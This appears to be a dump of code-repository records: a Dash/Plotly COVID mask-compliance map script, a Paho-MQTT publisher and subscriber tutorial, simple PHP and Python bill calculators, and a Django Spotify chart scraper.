maketrace(\"3/30/2021\", date8nomasklat, date8nomasklon, date8df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\n\ntrace25 = maketrace(\"3/30/2021\", date8unknownlat, date8unknownlon, date8df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\n\ndate9df = DataFrame(date9id, columns=['ID'])\ntrace26 = maketrace(\"4/5/2021\", date9masklat, date9masklon, date9df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace27 = maketrace(\"4/5/2021\", date9nomasklat, date9nomasklon, date9df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace28 = maketrace(\"4/5/2021\", date9unknownlat, date9unknownlon, date9df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate10df = DataFrame(date10id, columns=['ID'])\ntrace29 = maketrace(\"4/13/2021\", date10masklat, date10masklon, date10df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace30 = maketrace(\"4/13/2021\", date10nomasklat, date10nomasklon, date10df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace31 = maketrace(\"4/13/2021\", date10unknownlat, date10unknownlon, date10df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate11df = DataFrame(date11id, columns=['ID'])\ntrace32 = maketrace(\"4/20/2021\", date11masklat, date11masklon, date11df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace33 = maketrace(\"4/20/2021\", date11nomasklat, date11nomasklon, date11df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace34 = maketrace(\"4/20/2021\", date11unknownlat, date11unknownlon, date11df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate12df = DataFrame(date12id, columns=['ID'])\ntrace35 = maketrace(\"4/28/2021\", date12masklat, date12masklon, date12df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace36 = maketrace(\"4/28/2021\", date12nomasklat, date12nomasklon, date12df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace37 = maketrace(\"4/28/2021\", date12unknownlat, date12unknownlon, date12df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate13df = DataFrame(date13id, columns=['ID'])\ntrace38 = maketrace(\"5/7/2021\", date13masklat, date13masklon, date13df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace39 = maketrace(\"5/7/2021\", date13nomasklat, date13nomasklon, date13df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace40 = maketrace(\"5/7/2021\", date13unknownlat, date13unknownlon, date13df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate14df = DataFrame(date14id, columns=['ID'])\ntrace41 = maketrace(\"5/12/2021\", date14masklat, date14masklon, date14df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace42 = maketrace(\"5/12/2021\", date14nomasklat, date14nomasklon, date14df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace43 = maketrace(\"5/12/2021\", date14unknownlat, date14unknownlon, date14df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate15df = DataFrame(date15id, columns=['ID'])\ntrace44 = maketrace(\"5/22/2021\", date15masklat, date15masklon, date15df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace45 = maketrace(\"5/22/2021\", date15nomasklat, date15nomasklon, date15df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace46 = maketrace(\"5/22/2021\", date15unknownlat, date15unknownlon, date15df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\ndate16df = DataFrame(date16id, columns=['ID'])\ntrace47 = maketrace(\"5/26/2021\", date16masklat, date16masklon, date16df, \"blue\", \"circle\", \"Mask Data\", True,\n \"YES\")\ntrace48 = maketrace(\"5/26/2021\", date16nomasklat, date16nomasklon, date16df, \"red\", \"circle\",\n \"No Mask Data\",\n True, \"NO\")\ntrace49 = maketrace(\"5/26/2021\", date16unknownlat, date16unknownlon, date16df, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\n\n\niddf = DataFrame(ids, columns=['ID'])\nmaskandsdc = maketrace(\"Mask Compliant and<br>Social Distancing\", masklat, masklon, iddf, \"blue\", \"circle\", \"Mask Data\",\n True,\n \"YES\")\nmaskandsdnc = maketrace(\"Mask Non-compliant and<br>not Social Distancing\", nomasklat, nomasklon, iddf, \"red\", \"circle\",\n \"No Mask Data\", True, \"NO\")\nmaskandsduk = maketrace(\"Mask Compliance and<br>Social Distancing Unknown\", unknownlat, unknownlon, iddf, \"grey\", \"circle\",\n \"Unknown data\", True, \"UNKNOWN\")\n\n####################SPLIT UP DATA INTO FOUR CATEGORIES############################\nmaskandsdlon = []\nmaskandsdlat = []\nmaskandnsdlon = []\nmaskandnsdlat = []\nsocdistandnmasklon = []\nsocdistandnmasklat = []\nnsocdistandnmasklon = []\nnsocdistandnmasklat = []\nallids = []\nmaskandsddate = []\nmaskandnsddate = []\nsocdistandnmaskdate = []\nnsocdistandnmaskdate = []\n\nfor i in pf.index:\n allids.append(pf['id'][i])\n if pf[\"nomaskincor\"][i] == 1:\n if pf[\"socialdist\"][i] == 1:\n maskandsdlat.append(pf['LAT'][i])\n maskandsdlon.append(pf['LON'][i])\n maskandsddate.append(pf['date'][i])\n elif pf[\"socialdist\"][i] == 0:\n maskandnsdlat.append(pf['LAT'][i])\n maskandnsdlon.append(pf['LON'][i])\n maskandnsddate.append(pf['date'][i])\n if pf[\"nomaskincor\"][i] == 0:\n if pf[\"socialdist\"][i] == 1:\n socdistandnmasklat.append(pf['LAT'][i])\n socdistandnmasklon.append(pf['LON'][i])\n socdistandnmaskdate.append(pf['date'][i])\n elif pf[\"socialdist\"][i] == 0:\n nsocdistandnmasklat.append(pf['LAT'][i])\n nsocdistandnmasklon.append(pf['LON'][i])\n nsocdistandnmaskdate.append(pf['date'][i])\n\nalliddf = DataFrame(allids, columns=['ID'])\nmandsd = DataFrame(maskandsddate, columns=['date'])\nmandnsd = DataFrame(maskandnsddate, columns=['date'])\nsdandnm = DataFrame(socdistandnmaskdate, columns=['date'])\nnsdandnm = DataFrame(nsocdistandnmaskdate, columns=['date'])\n\n\nborder1 = makeborder(\"none\", maskandsdlat, maskandsdlon, alliddf, \"blue\", \"circle\", \"Nan\", False, \"YES\", \"YES\")\nborder2 = makeborder(\"none\", socdistandnmasklat, socdistandnmasklon, alliddf, \"blue\", \"circle\", \"Nan\", False, \"YES\",\n \"NO\")\nborder3 = makeborder(\"none\", maskandnsdlat, maskandnsdlon, alliddf, \"red\", \"circle\", \"Nan\", False, \"NO\", \"YES\")\nborder4 = makeborder(\"none\", nsocdistandnmasklat, nsocdistandnmasklon, alliddf, \"red\", \"circle\", \"Nan\", False, \"NO\",\n \"NO\")\n\nborder5 = makeborder2(\"Wearing Mask and Social Distancing\", maskandsdlat, maskandsdlon, alliddf, \"blue\", \"circle\",\n \"Nan\",\n False, \"YES\", \"YES\", mandsd)\n\nborder6 = makeborder2(\"Not Wearing Mask and Social Distancing\", socdistandnmasklat, socdistandnmasklon, alliddf, \"red\",\n \"circle\", \"Nan\", False, \"YES\", \"NO\", sdandnm)\n\nborder7 = makeborder2(\"Wearing Mask and Not Social Distancing\", maskandnsdlat, maskandnsdlon, alliddf, \"blue\", \"circle\",\n \"Nan\", False, \"NO\", \"YES\", mandnsd)\n\nborder8 = makeborder2(\"Not Wearing Mask and Not Social Distancing\", nsocdistandnmasklat, nsocdistandnmasklon, alliddf,\n \"red\", \"circle\", \"Nan\", False, \"NO\", \"NO\", nsdandnm)\n\nempty = []\nborder9 = makeborder3(\"Wearing a Mask\", maskandsdlon, maskandsdlat, \"blue\", \"circle\", \"Nan\", True)\n\nborder10 = makeborder3(\"Not Wearing a Mask\", socdistandnmasklon, socdistandnmasklat, \"red\", \"circle\", \"Nan\", True)\n\nborder11 = makeborder3(\"Social Distancing\", maskandnsdlon, maskandnsdlat, \"blue\", \"circle-open\", \"Nan\", True)\n\nborder12 = makeborder3(\"Not Social Distancing\", nsocdistandnmasklon, nsocdistandnmasklat, \"red\", \"circle-open\", \"Nan\",\n True)\n\nupdatemenus = list([\n dict(active=0,\n showactive=True,\n buttons=list([\n dict(label=\"Overall<br>Compliance\",\n method=\"restyle\",\n args=[{\"visible\": [False, True, True, True, False, False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False]}]),\n # hide trace2\n dict(label=\"Mask and<br>Social Distance<br>Options\",\n method=\"restyle\",\n args=[{\"visible\": [False, False, False, False, False, False, False, False, False, False, False, False,\n False, False, False, False, False, False,False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False, False, False, False,\n False, False, False, False, False, False, False, False, False, False, False, False,\n False, False, False, False,\n True, True, True, True, True, True, True, True, True, True, True, True]}]),\n\n ]),\n x=1,\n )])\n\nlayout = dict(\n title=\"Spring 2021 COVID-19 Modeling Data\",\n\n autosize=True,\n height=875,\n width=1500,\n margin=dict(l=80, r=80, t=100, b=80),\n annotations=[\n go.layout.Annotation(\n text='Use the maps dropdown menu to switch to see each Data Points Mask and Social Distancing '\n 'Characteristics<br>'\n 'OR to see compliance with UD regulations:'\n 'Non-Compliant: Mask incorrect/No mask plus not social distancing<br>'\n 'Compliant: Social Distancing (regardless of having a mask)'\n 'OR not social distancing with a mask worn correctly ',\n align='left',\n bordercolor='black',\n x=1.15,\n y=1.1,\n showarrow=False,\n ),\n go.layout.Annotation(\n text='Use the slider to see the data split up by each date',\n align='left',\n x=.15,\n y=-.085,\n bordercolor='black'\n\n ),\n go.layout.Annotation(\n text='Click<a href=\\\"https://www.weather.gov/\\\"> here </a>to Check the Weather on Each Date'\n '<br>Hover Over Points for More Information',\n align='left',\n x=.0,\n y=1.065,\n bordercolor='black',\n showarrow=False,\n\n )\n ],\n\n # showlegend=True,\n hovermode=\"closest\",\n # plot_bgcolor=\"#191A1A\",\n # paper_bgcolor=\"#020202\",\n\n mapbox=dict(\n\n accesstoken=mapbox_access_token,\n center=dict(\n lat=39.68,\n lon=-75.75\n ),\n\n pitch=0,\n zoom=13.5,\n\n ),\n updatemenus=updatemenus,\n)\n\nfig.update_layout(\n autosize=True,\n\n # plot_bgcolor=\"#191A1A\",\n # paper_bgcolor=\"#020202\",\n margin=dict(\n t=50,\n l=100,\n b=50,\n r=100,\n ),\n showlegend=False,\n hovermode=\"x unified\",\n\n)\ndata = [trace1, maskandsdc, maskandsdnc, maskandsduk, trace2, trace3, trace4, trace5, trace6, trace7, trace8, trace9,\n trace10, trace11, trace12, trace13, trace14, trace15, trace16, trace17, trace18, trace19, trace20, trace21,\n trace22, trace23, trace24, trace25, trace26, trace27, trace28, trace29, trace30, trace31, trace32, trace33,\n trace34, trace35, trace36, trace37, trace38, trace39, trace40, trace41, trace42, trace43, trace44, trace45,\n trace46, trace47, trace48, trace49, border1, border2, border3, border4, border5, border6, border7, border8,\n border9, border10, border11, border12]\nlabels = [\"Buildings\", \"All Data\", \"\", \"\",\n \"2/10/2021<br>Time Stamp:<br>11:14:02 AM - 11:39:08 AM\", \"\", \"\",\n \"2/16/2021<br>Time Stamp:<br>13:18:32 PM - 13:37:34 PM\", \"\", \"\",\n \"2/26/2021<br>Time Stamp:<br>12:28:28 PM - \"\"12:53:00 PM\", \"\", \"\",\n \"3/4/2021<br>Time Stamp:<br>12:30:39 PM - 12:52:07 PM\", \"\", \"\",\n \"3/11/2021<br>Time Stamp:<br>11:31:07 AM - 11:54:49 PM\", \"\", \"\",\n \"3/15/2021<br>Time Stamp:<br>12:51:01 PM - 13:15:01 PM\", \"\", \"\",\n \"3/25/2021<br>Time Stamp:<br>14:01:02 PM - 14:21:55 PM\", \"\", \"\",\n \"3/30/2021<br>Time Stamp:<br>11:33:03 AM - 11:52:34 AM\", \"\", \"\",\n \"4/5/2021<br>Time Stamp:<br>11:31:51 AM - 11:52:56 AM\", \"\", \"\",\n \"4/13/2021<br>Time Stamp:<br>11:18:58 AM - 11:38:52 AM\", \"\", \"\",\n \"4/20/2021<br>Time Stamp:<br>13:35:12 PM - 13:58:57 PM\", \"\", \"\",\n \"4/28/2021<br>Time Stamp:<br>12:25:39 PM - 12:50:43 PM\", \"\", \"\",\n \"5/7/2021<br>Time Stamp:<br>12:34:14 PM - 12:53:32 PM\", \"\", \"\",\n \"5/12/2021<br>Time Stamp:<br>11:27:14 AM - 11:48:12 AM\", \"\", \"\",\n \"5/22/2021<br>Time Stamp:<br>13:19:33 PM - 13:39:52 PM\", \"\", \"\",\n \"5/26/2021<br>Time Stamp:<br>11:39:56 AM - 11:57:56 AM\", \"\", \"\"]\n\nfigure = go.Figure(data=data, layout=layout)\nsteps = []\nnum_steps = 52\n\nfor i in range(1, num_steps, 3):\n step = dict(\n label=labels[i],\n method='restyle',\n args=['visible', ['legendonly'] * len(figure.data)],\n )\n\n if i < num_steps:\n step['args'][1][i] = True\n\n if i + 1 < num_steps:\n step['args'][1][i + 1] = True\n\n if i + 2 < num_steps:\n step['args'][1][i + 2] = True\n\n step['args'][1][0] = True\n steps.append(step)\n\nsliders = [dict(\n steps=steps,\n currentvalue=dict(\n font=dict(size=15),\n prefix=\"Date : \",\n xanchor=\"right\",\n visible=True,\n ), )]\n\nsteps = []\n\nnum_steps = 2\nfor i in range(num_steps):\n step = dict(\n label=dates[i],\n method='restyle',\n args=['visible', [False] * len(fig.data)],\n )\n step['args'][1][i] = True\n\n\n steps.append(step)\n\nslidersfig = [dict(steps=steps,\n currentvalue=dict(\n font=dict(size=15),\n prefix=\"Date : \",\n xanchor=\"right\",\n visible=True,\n\n ), y=-.15, )]\n\n# fig.layout.sliders = slidersfig\nfig.update_yaxes(range=[0, 100])\n\nfigure.layout.sliders = sliders\n\nserver = Flask(__name__)\n\napp = dash.Dash(\n __name__,\n server=server,\n)\n\napp.layout = html.Div(children=[\n html.Div([\n dcc.Graph(\n figure=figure,\n style={\n 'height': 1015,\n },\n ),\n\n ]),\n\n html.Div([\n dcc.Graph(\n figure=fig,\n style={\n 'height': 950,\n },\n ),\n ]),\n\n])\n\nif __name__ == '__main__':\n app.run_server(debug=True)\n" } ]
1
amankanwar/PAHO-MQTT
https://github.com/amankanwar/PAHO-MQTT
85a7787325f26120718c5eef7cd82cb823df6176
0c518ed8fb781f9c399db040bfedd857b71894f6
a4cd7480ff870942391bf52637481966d342bbf7
refs/heads/master
2020-07-29T15:35:58.112685
2019-09-20T19:23:05
2019-09-20T19:23:05
209,863,901
0
2
null
null
null
null
null
[ { "alpha_fraction": 0.7400379776954651, "alphanum_fraction": 0.8140417337417603, "avg_line_length": 46.90909194946289, "blob_id": "42eb42a3dc20299f781af392820bd7acbc432711", "content_id": "a6ff79818e2fd09881838e1d5c5ab3fcd5a588df", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 527, "license_type": "no_license", "max_line_length": 126, "num_lines": 11, "path": "/README.md", "repo_name": "amankanwar/PAHO-MQTT", "src_encoding": "UTF-8", "text": "# PAHO-MQTT\nThis contains the code for the paho-mqtt using Python\n\nPlease know that the given code was written in the Py-Charm and furthermore, the given project was implemented\nusing the Paho-Mqtt client library, hence kindly loop for the same and include that given library.\n\nFor more information on code, please refer to my youtube channel and the video link provided below:\n\nChannel: query4aman\n\nLink : https://www.youtube.com/watch?v=-jw09lV9T-8&lc=z22cyhkr2w2kfb1zq04t1aokgpm4iout23zy5rieqoeork0h00410.1568895555980226\n" }, { "alpha_fraction": 0.540559709072113, "alphanum_fraction": 0.5448104739189148, "avg_line_length": 36.6533317565918, "blob_id": "94dae48a3dc277857c9f93357cfa6a60499b55e4", "content_id": "db29f097e01e32065d32120787029b6633f502a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2823, "license_type": "no_license", "max_line_length": 111, "num_lines": 75, "path": "/Subscriber.py", "repo_name": "amankanwar/PAHO-MQTT", "src_encoding": "UTF-8", "text": "##############################\n# #\n# Author - Aman Kanwar #\n# MQTT example code #\n# Subscriber #\n# #\n##############################\n\n# importing the library and creating the instance of the same\nimport paho.mqtt.client as mqtt\nimport time\n\n\n# Taking the variables for the methods\nclient = mqtt.Client()\ntopicName = \"aman/cdac/test\"\nQOS_val = 2\n\nclient.username_pw_set(username=\"aman\",password=\"youtube\")\n\n# --------------- Defining call backs---------------------------------------------------------------\ndef on_connect(pvtClient,userdata,flags,rc):\n if(rc == 0): # on successful connection\n print(\"Connected to client! Return Code:\"+str(rc)) # printing the data on the screen\n # Once connection is established, subscribe to the topic\n # important, here we are subscribing to a topic only after getting the authentication done\n # further we are setting the QOS in the .subscribe(...) method\n result = client.subscribe(topicName, QOS_val) # getting the Tuple from the call back\n\n elif(rc ==5): # in case of authentication error\n print(\"Authentication Error! Return Code: \"+str(rc)) # printing the data on the screen\n client.disconnect()\n\n\n# Call back for the message\n# This call-back will run whenever there is a message (payload) published on the given topic\ndef on_message(pvtClient, userdata, msg):\n # here we are extracting details from the msg parameter,\n print(\"\\n============================================\")\n print(\"Payload : \" +str(msg.payload.decode()))\n print(\"Qos of message: \"+str(msg.qos))\n print(\"Message Topic : \"+str(msg.topic))\n print(\"Message retain: \"+ str(msg.retain))\n print(\"============================================\\n\")\n\n if(msg.payload.decode() == \"exit(0)\" ):\n client.disconnect()\n\n'''\n# currently not using this callback\ndef will_set(pvtClient, payload=\"disconnected!!!\", qos=2, retain=False):\n print(\"status: \"+payload)\n'''\n\n# this call back is used for the log generation\ndef on_log(topic, userdata, level, buf):\n print(\"Logs: \"+str(buf))\n# -------------------------------------------------------------------------------------------------------------\n\n# ======== Associating the methods with the given callbacks of the MQTT ======\nclient.on_connect = on_connect\nclient.on_message = on_message\nclient.on_log = on_log\n#client.will_set = will_set\n# ============================================================================\n\nhost = \"localhost\"\nport = 1883\nkeepAlive = 60\n\nclient.connect(host,port,keepAlive) # establishing the connection\n\ntime.sleep(2) # giving a sleep time for the connection to setup\n\nclient.loop_forever()" }, { "alpha_fraction": 0.6066476106643677, "alphanum_fraction": 0.6101142168045044, "avg_line_length": 43.17116928100586, "blob_id": "1af93f0df6da34f60d85882f49ada165cd875b19", "content_id": "bfb583e169259ed2122aa550bc471bf5b686c1f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4904, "license_type": "no_license", "max_line_length": 111, "num_lines": 111, "path": "/Publisher.py", "repo_name": "amankanwar/PAHO-MQTT", "src_encoding": "UTF-8", "text": "##############################\n# #\n# Author - Aman Kanwar #\n# MQTT example code #\n# Publisher #\n# #\n##############################\n\n# importing the mqtt library instance and time library\nimport paho.mqtt.client as mqtt\nimport time\n\nclient = mqtt.Client() # here we are getting the instance of the Client class\n\nexitFlag = True # this is taken for the authentication purpose\n\n\nclient.username_pw_set(username=\"aman\",password=\"youtube\") # username and password set by me for connection\n\n\n# ========================Call Backs==========================================================================\ndef on_publish(client,userdata,mid): # call back for the published data\n print(\"Payload Published: \"+str(mid)) # printing the message id of the published message\n\n\ndef on_connect(pvtClient,userdata,flags,rc): # call back for the connection acknowledgement\n global exitFlag # here I am setting the exitFlag based on connection status, we will use this flag later on\n if(rc == 0): # on successful connection\n print(\"publisher Connected\") # printing the data\n print(\"Connected to client! Return Code:\"+str(rc)) # printing the data on the screen\n exitFlag = False\n\n\n elif(rc ==5): # in case of authentication error\n print(\"Authentication Error! Return Code: \"+str(rc)) # printing the data on the screen\n client.disconnect()\n exitFlag = True\n\n\n# here we are using this call back for the logs generation, these logs are helpful to us while debugging\ndef on_log(client, userdata, level, buf): # call backs for the logs,\n print(\"Logs: \"+str(buf)) # printing the logs on the screen, this will show the logs\n # about the flags that will used by the publisher and subscriber\n\n\ndef on_disconnect(pvtClient, userdata, rc): # this call back will run, when a disconnect() is received\n print(\"disconnecting reason \" +str(rc))\n client.disconnect()\n\n# ============================================================================================================\n\n# important part\n# =================== Associating the functions with the call backs===========================================\nclient.on_publish = on_publish\nclient.on_connect = on_connect\nclient.on_log = on_log\nclient.on_disconnect = on_disconnect\n# ============================================================================================================\n\n\n# ======= Establishing Connection ========\nhost = \"localhost\"\nport = 1883\nkeepAlive = 60\n\nclient.connect(host,port,keepAlive)\n# =========================================\n\n\n# starting the loop\n# we are using this loop and sleep in-between client.connect(...) and client.publish(...)\n# so we can observe the call backs\nclient.loop_start(); # starting a loop in order to observe the call backs\ntime.sleep(2) # giving a sleep time for the connection to setup\n\n# once connected, publish the message\n# ============Publishing the message ======\ntopic_name = \"aman/cdac/test\"\nQOS = 2 # here we can use different Quality of service, based on our requirement\nretain = True\n\n# if the connection is successful then this while loop will run\nwhile(exitFlag == False): # here we are using the flags which we have set earlier,\n time.sleep(.5) # giving some time for the call backs to process\n payload = input(\"\\nMessage: \")\n client.publish(topic_name,payload,QOS,retain) # publishing the message (payload)\n if(payload == \"exit(0)\"): # in case user has entered \"exit(0)\" then exit and disconnect\n client.disconnect()\n'''\nUsing the QOS we can set the Quality of Service of the given client connection\nand the message published for the same.\n# ======= Establishing Connection ========\nBased on this QOS, the times our client is receiving the message may differ, \nFurthermore, we may confirm the acknowledgements involved between\n\nPublisher --- broker ---- subscriber, are more.\n\nFor a given MQTT setup we can set this value of either 0, 1, 2, wherein\ndifferent QOS have different properties\n\nAlso, in our case, we can use the functionality of retaining the last known message\nin case the given client (subscriber) is not present, or unable to receive the message\n(payload), Hence, setting the value of retain parameter as True or 1 will make sure that\nin case of undelivered message, the given message is retained\n'''\n\n# =========================================\n# If you use the loop_start() or loop_forever functions then the loop runs in a separate thread,\n# and it is the loop that processes the incoming and outgoing messages.\nclient.loop_stop() # stopping the time loop\n# make sure to use client.loop_stop() function too, if we have used client.loop_start() function\n\n" } ]
3
JosephSchwabauer/AAT
https://github.com/JosephSchwabauer/AAT
25b50a656d7a65c00dad7664531c1dfb8dc319af
da1674f0d04d6cad17fc94f68d6bcf7c232a2735
b4e7d57ed65197015c7a2f9663637f549791627e
refs/heads/master
2020-12-03T02:22:13.140823
2017-07-01T17:43:24
2017-07-01T17:43:24
95,931,499
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5161986947059631, "alphanum_fraction": 0.5205183625221252, "avg_line_length": 17.440000534057617, "blob_id": "ff3a1a87db10e71e4e7f4859b0e39bcee0471fbf", "content_id": "ea1d9e3314258dcc7865cfbebc7a6d914cc1bf04", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "PHP", "length_bytes": 463, "license_type": "no_license", "max_line_length": 66, "num_lines": 25, "path": "/billCalc.php", "repo_name": "JosephSchwabauer/AAT", "src_encoding": "UTF-8", "text": " \n<html>\n<head>\n <title>Bill Calculator</title>\n</head>\n<body>\n\n <h1><h1>\n \n <?php\n $internet = $_POST['internet'];\n $carI = $POST['carI'];\n $energy = $POST['energy'];\n $phone = $POST['phone'];\n $rent = $POST['rent'];\n $misc = $POST['misc'];\n $total = $internet + $carI + $energy + $phone + $rent + $misc;\n \n print(\"<p>Your total is $total</p>\");\n \n\n?>\n<p><a href=\"travel_JDS.html\">Calculate another trip?</a></p>\n\n</body>\n</html>" }, { "alpha_fraction": 0.6507237553596497, "alphanum_fraction": 0.6526117324829102, "avg_line_length": 41.864864349365234, "blob_id": "c3a5c51e149caf2ea748480b67533e2815f70d06", "content_id": "ab947e77183b75938f254cd29771461f210ce968", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1589, "license_type": "no_license", "max_line_length": 124, "num_lines": 37, "path": "/monthlyBillCalculator.py", "repo_name": "JosephSchwabauer/AAT", "src_encoding": "UTF-8", "text": "#Calculates Monthly Expenses and divides them in half. Calculating a half for yourself and half for Elisha.\n\n#Internet\n#car insurance\n#energy bill\n#phone bill \n#rent\n\ndef payBills():\n internet = raw_input(\"Please enter the total for your internet bill: \")\n carI = raw_input(\"Please enter the total for your car insurance: \")\n energy = raw_input(\"Please enter the total for your energy bill: \")\n phone = raw_input(\"Please enter the total for your phone bill: \")\n rent = raw_input(\"Please enter the total for your rent: \")\n misc = raw_input(\"Do you want to add another expense? Y or N: \")\n month = raw_input(\"What month and year is this for?: \")\n otherBill = 0\n while misc == 'Y':\n other = raw_input(\"Please enter a name for this bill: \")\n otherBill = raw_input(\"How much is this bill? : \")\n misc = raw_input(\"Do you want to add another expense? Y or N: \")\n \n total = float(internet) + float(carI) + float(energy) + float(phone) + float(rent) + float(otherBill) + float(otherBill)\n print(\"The total expenses for this month are \", total)\n print(\"Elisha's total for this month is \", total/2)\n \n extra = raw_input(\"Do you want to add another expense for yourself? \")\n while extra == 'Y':\n extraName = raw_input(\"Please enter a name for this bill: \")\n extraBill = raw_input(\"How much is this bill? : \")\n extra = raw_input(\"Do you want to add another expense? Y or N: \")\n print(\"Joseph your total this month is \", total/2 + float(extraBill))\n print(\"Thank you and Goodbye\")\n \n\n\npayBills()\n\n\n\n" } ]
2
A-Alena/music_chart
https://github.com/A-Alena/music_chart
b603589266aa6b581d70b84b6de0d11f89674b7b
b47f3b0c77903a542e3f0567491bfb26016375db
9bcee63c23ba7ac7d689b8922cfda514c9964980
refs/heads/master
2023-02-04T23:17:06.265304
2020-12-21T12:34:13
2020-12-21T12:34:13
323,324,670
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6038095355033875, "alphanum_fraction": 0.604285717010498, "avg_line_length": 29.434782028198242, "blob_id": "1081a0e27fc5c646b33ff0792d585f1c774e2e2d", "content_id": "dbe30703e6c62ec163d5ab3ad204af664b88b110", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2213, "license_type": "no_license", "max_line_length": 108, "num_lines": 69, "path": "/core/core_service.py", "repo_name": "A-Alena/music_chart", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nfrom .models import Musician\n\nURL = 'https://spotifycharts.com/regional'\n\ndef remove_prefix(text, prefix):\n if text.startswith(prefix):\n return text[len(prefix):]\n return text\n\ndef parse_all_chart():\n \"\"\" Парсинг spotify charts.\n\n :return: list of parsing results.\n \"\"\"\n results = []\n response = requests.get(URL)\n soup = BeautifulSoup(response.text)\n chart_table = soup.find('table', {'class': 'chart-table'}).find('tbody')\n table_rows = chart_table.find_all('tr')\n for tr in table_rows:\n position = tr.find('td', {'class': 'chart-table-position'}).text\n position = int(position)\n track = tr.find('td', {'class': 'chart-table-track'})\n song = track.find('strong').text\n author = track.find('span').text\n author = remove_prefix(author, 'by ')\n results.append({'pos': position, 'song': song, 'auth': author})\n return results\n\ndef update_record(auth, song, pos):\n \"\"\" Обновить (или создать если отсутствует) запись в БД.\n \"\"\"\n new_pos = { 'chart_position': pos }\n obj, created = Musician.objects.update_or_create(auth_name = auth, song_name = song, defaults = new_pos)\n\ndef get_all_chart():\n \"\"\" Получить весь список записей чарта.\n\n :return: list of all chart.\n \"\"\"\n response = []\n for record in Musician.objects.all():\n data = {\n 'auth': record.auth_name,\n 'song': record.song_name,\n 'pos': record.chart_position,\n }\n response.append(data)\n return response\n\ndef filter_chart(request: dict):\n \"\"\" Получить список записей по исполнителю (auth_name)\n\n :param request: HTTP requests.\n :return: list with filtered records.\n \"\"\"\n auth = request.get('auth_name', '')\n results = Musician.objects.filter(auth_name = auth)\n response = []\n for record in results:\n data = {\n 'auth': record.auth_name,\n 'song': record.song_name,\n 'pos': record.chart_position,\n }\n response.append(data)\n return response\n" }, { "alpha_fraction": 0.6818181872367859, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 23.55555534362793, "blob_id": "5a7b76f86ccf04d3c456d728ecb2aeff8e43d0a3", "content_id": "8aa3c2257e8b1ceddb12d0e59c1f40f560891c5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 220, "license_type": "no_license", "max_line_length": 42, "num_lines": 9, "path": "/core/models.py", "repo_name": "A-Alena/music_chart", "src_encoding": "UTF-8", "text": "from django.db import models\n\nclass Musician(models.Model):\n auth_name = models.TextField()\n song_name = models.TextField()\n chart_position = models.IntegerField()\n\n class Meta:\n db_table = 'musicians'" }, { "alpha_fraction": 0.6942496299743652, "alphanum_fraction": 0.7026647925376892, "avg_line_length": 32.904762268066406, "blob_id": "3cde02c8a93715ff8f44f5eb33a56b7ba937b3d8", "content_id": "a99547a2b9dca4a043f3754ada488311ea6e11e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 713, "license_type": "no_license", "max_line_length": 85, "num_lines": 21, "path": "/core/views.py", "repo_name": "A-Alena/music_chart", "src_encoding": "UTF-8", "text": "from rest_framework.response import Response\nfrom rest_framework.decorators import api_view, parser_classes\nfrom rest_framework import status\n\nfrom .core_service import parse_all_chart, update_record, get_all_chart, filter_chart\n\n@api_view(['GET'])\ndef update_chart(request):\n response = parse_all_chart()\n for record in response:\n update_record(record['auth'], record['song'], record['pos'])\n return Response(response, status=status.HTTP_200_OK)\n\n@api_view(['GET'])\ndef get_chart(request):\n if request.GET:\n response = filter_chart(request.GET)\n return Response(response)\n else:\n response = get_all_chart()\n return Response(response, status=status.HTTP_200_OK)\n\n" }, { "alpha_fraction": 0.7454545497894287, "alphanum_fraction": 0.7545454502105713, "avg_line_length": 53.5, "blob_id": "ab6052dd0a5b55cfbc2f3a76aac4ec35fb8c82a4", "content_id": "6c5f095725b31b44b70677ba32a63fb8ae98f195", "detected_licenses": [], "is_generated": false, "is_vendor": 